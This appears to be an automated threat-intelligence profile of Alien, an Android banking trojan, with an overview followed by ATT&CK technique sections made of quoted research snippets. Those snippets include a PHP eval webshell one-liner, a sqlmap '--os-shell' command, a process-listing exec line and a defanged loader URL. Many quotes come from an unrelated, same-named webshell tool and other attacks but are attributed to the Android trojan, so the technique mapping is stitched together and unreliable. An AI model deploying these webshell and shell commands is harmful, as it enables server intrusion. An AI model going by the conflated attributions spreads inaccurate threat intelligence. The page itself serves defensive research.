Alien
- Type
- Banking trojan
- Capabilities
- Credential theftKeyloggingExfiltrationPersistenceDefense evasionReconnaissance
- Delivery
- Fake updateLure
- Platforms
- Android
Alien is an Android banking trojan first observed in January 2020 and offered to cybercriminal operators through a malware-as-a-service model. Its architecture and codebase derive from Cerberus v1, with additional remote-access and information-stealing functionality. It targets users of banking and other financial applications through fraudulent overlays that impersonate legitimate application interfaces and capture credentials.
Alien supports keylogging, SMS harvesting and forwarding, contact theft, notification interception, and theft of Google Authenticator two-factor authentication data. It collects device information, installed application lists, and location data. TeamViewer-based remote access allows operators to interact with infected devices. Other remotely controlled actions include installing, launching, and removing applications; displaying arbitrary web pages; locking the screen; issuing USSD requests; and configuring call forwarding. Its modular architecture, auxiliary command-and-control mechanisms, string protection, emulator detection, application-icon hiding, and removal-prevention features support resilient operation and hinder detection or cleanup.
Distribution campaigns have used malicious dropper applications published on Google Play, including the Brunhilda and Gymdrop distribution services. These applications masquerade as useful utilities or fitness tools and persuade users to install additional packages presented as updates or new functionality. Alien activity was observed before the public release of Cerberus source code in August 2020, and its operations were distinct from contemporaneous Cerberus campaigns.
Associated vulnerabilities
5 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
4 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Initially, the Brunhilda droppers were deploying a variety of Android malware applications, like for example samples of the malware family Alien.
The ultimate goal of the operation, the researchers assessed, was to distribute a malware dubbed Alien, which acts as a precursor for loading Predator onto infected Android devices.
Some samples were observed having more than 50.000+ installations, and dropping the android trojan Alien.
Predator от Cytrox / Intellexa работает двухкомпонентно: Alien ломает устройство, Predator устанавливает модули слежки.
Techniques & procedures
48 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
4 techniques
Initial Access
Webshells are often used during data breaches. For example, an attacker can find the password of MySQL in phpMyAdmin/config.inc.php
once clicked, redirected the targets to a rogue domain that dropped the exploits before taking the victim to an authentic site
Web applications remain one of the most common attack surfaces... arbitrary code execution obtained through a web application often serves as the initial foothold. | If we discover a SQL injection vulnerability, we can exploit it using sqlmap... sqlmap.py -u 'YOUR URL' --os-shell
all the three campaigns in question commenced with a spear-phishing email that contained one-time links mimicking URL shortener services
Execution
5 techniques
Execution
exec ( 'tasklist /NH /FO CSV' , $outputLines );
<?php @ eval ( $_POST [ 'pass' ]); ?>
The 0-day exploits were used alongside n-day exploits... to target Android users
the user is forced to update the app in order to continue using the app... the user will be prompted to download and install it.
Hooking the ioctl() API in the libbinder.so using an open-source library called xHook is one of the means it uses to communicate with PREDATOR... ALIEN attempts to hook the following APIs in the audio libraries being used by a process.
Persistence
3 techniques
Persistence
Webshells are often used during data breaches. For example, an attacker can find the password of MySQL in phpMyAdmin/config.inc.php
“A Pipeline provides the addValve() method for adding Valves to the request-processing pipeline.” | “Use reflection to locate the interceptor list within RequestMappingHandlerMapping... Inject the malicious Interceptor at the beginning (index 0) of adaptedInterceptors.” | “With a memory shell, an attacker can perform a fileless attack by injecting a new webshell into a server... while leaving no corresponding file on disk.” | “The payload creates a new Filter instance... calls standardContext.addFilterDef() and standardContext.addFilterMapBefore() to insert the malicious FilterDef into the beginning of the Filter chain.” | “A Java memory shell... use[s] reflection to dynamically load components and register malicious components into the container’s internal data structures.”
The code of the Google Authenticator 2FA stealer of the Alien Trojan is visible in following snippet: public final void sniffAuthenticator ( AccessibilityService serv , AccessibilityEvent event , String currPackage )
Privilege Escalation
6 techniques
Privilege Escalation
compromise the system by injecting malicious code into privileged processes
leveraging it to drop a second exploit to escalate privileges and deploy the backdoor
Webshells are often used during data breaches. For example, an attacker can find the password of MySQL in phpMyAdmin/config.inc.php
The code of the Google Authenticator 2FA stealer of the Alien Trojan is visible in following snippet: public final void sniffAuthenticator ( AccessibilityService serv , AccessibilityEvent event , String currPackage )
After successfully downloading the “update”, the user will be asked for the permission to install apps from unknown sources.
involved an exploit chain using CVE-2021-37973 and CVE-2021-37976 to escape the Chrome sandbox
Stealth
10 techniques
Stealth
If you are concerned about WAFs and IDSs, you can enable Event Horizon for evasion.
These apps posed as QR code scanners, PDF scanners, and cryptocurrency apps.
compromise the system by injecting malicious code into privileged processes
Webshells are often used during data breaches. For example, an attacker can find the password of MySQL in phpMyAdmin/config.inc.php
we found that it was signed with a legitimate certificate named SCANDI LLC ... Uncompressing the MSI file unveiled several files ... The first request that the binary sends is: hxxps://datasmetrics.]com/files/Loader_TM.dll
The complete list of features of Alien is as follows: ... Self-protection: Emulation-detection
the configuration contains filter rules based on device model. Based on the models being filtered out and the code of the dropper, we can draw a conclusion that this is done to avoid downloading the payload on emulators or research environment.
is engineered to record audio, add CA certificates, and hide apps to evade detection
Hooking the ioctl() API in the libbinder.so using an open-source library called xHook is one of the means it uses to communicate with PREDATOR... ALIEN attempts to hook the following APIs in the audio libraries being used by a process.
Languages such as PHP and Classic ASP execute payloads through eval() , while Java and .NET rely on reflective loading.
Defense Impairment
2 techniques
Defense Impairment
is engineered to record audio, add CA certificates, and hide apps to evade detection
The complete list of features of Alien is as follows: ... Self-protection: Preventing removal
Credential Access
5 techniques
Credential Access
To facilitate successful credentials interception, the bad actors use a so called "Webinjects" - customized modules or packages used in malware that typically inject HTML or JavaScript code into content before it's rendered on a web browser. As a result, webinjects can alter what the user sees on his/her browser... malware developers design code to intercept victims credentials using such approach
It has common capabilities such as overlay attacks, control and steal SMS messages and harvest the contact list. It can leverage its keylogger for any use and therefore broaden the attack scope further than its target list.
Most importantly, it offers a notifications sniffer, allowing it to get the content of all notifications on the infected device
an attacker can find the password of MySQL in phpMyAdmin/config.inc.php
The spyware can also add certificates to the current user-trusted certificate authorities by writing the certificate authority’s (CA) public certificate to the path “/data/misc/user/0/cacerts-added”.
Discovery
8 techniques
Discovery
The complete list of features of Alien is as follows: ... Contact list collection
exec ( 'tasklist /NH /FO CSV' , $outputLines ); ... The core idea is to obtain all running processes from the remote server and compare them against a database of known anti-virus software.
The complete list of features of Alien is as follows: ... Device info collection
If any of these manufacturers' names match, it will recursively enumerate the contents of the following directories on disk...
The complete list of features of Alien is as follows: ... Self-protection: Emulation-detection
the configuration contains filter rules based on device model. Based on the models being filtered out and the code of the dropper, we can draw a conclusion that this is done to avoid downloading the payload on emulators or research environment.
The complete list of features of Alien is as follows: ... Application listing
The complete list of features of Alien is as follows: ... Location collection
Lateral Movement
3 techniques
Lateral Movement
Alien also provides a virtual terminal. Users can use this feature to establish SSH connections to other machines.
Users can use this feature to establish SSH connections to other machines.
Once another webshell has been deployed on an internal host, DriftingComet can be used to establish a pivot between compromised servers, allowing you to progressively reach deeper targets within the network.
Collection
5 techniques
Collection
The implant gathers configuration information, but it will also collect contacts, calls and messaging information by copying the content of the files listed below... The content obtained is then written to “/data/local/tmp/wd/”, before being exfiltrated.
To facilitate successful credentials interception, the bad actors use a so called "Webinjects" - customized modules or packages used in malware that typically inject HTML or JavaScript code into content before it's rendered on a web browser. As a result, webinjects can alter what the user sees on his/her browser... malware developers design code to intercept victims credentials using such approach
It has common capabilities such as overlay attacks, control and steal SMS messages and harvest the contact list. It can leverage its keylogger for any use and therefore broaden the attack scope further than its target list.
is engineered to record audio
webinjects can alter what the user sees on his/her browser, as opposed to what's in fact being sent by the server... the webinject will interpret an identical design of legitimate pages from popular services.
Command and Control
7 techniques
Command and Control
The dropper makes a request towards the C2 sending information about the device, including device ID, device name, locale, country, Android SDK version.
In those newly found samples the authors revisited the C2 communication protocol
meaning that the threat actors can perform the fraud from the victim’s device.
Using Alien’s built-in SOCKS5 proxy, external tools such as sqlmap can access internal web applications through the compromised server.
the attackers first installed the Android Alien banking trojan with RAT functionality used to load the Predator Android implant
the entire payload is encrypted using XOR and then encoded in Base64 before transmission... The generated OneShell first decodes the incoming Base64 data, decrypts it using the configured XOR key, and finally executes the recovered payload using eval().
the newly found samples included the RAT feature, making use of TeamViewer to provide remote access to the infected device.
Observables
11 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
24 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.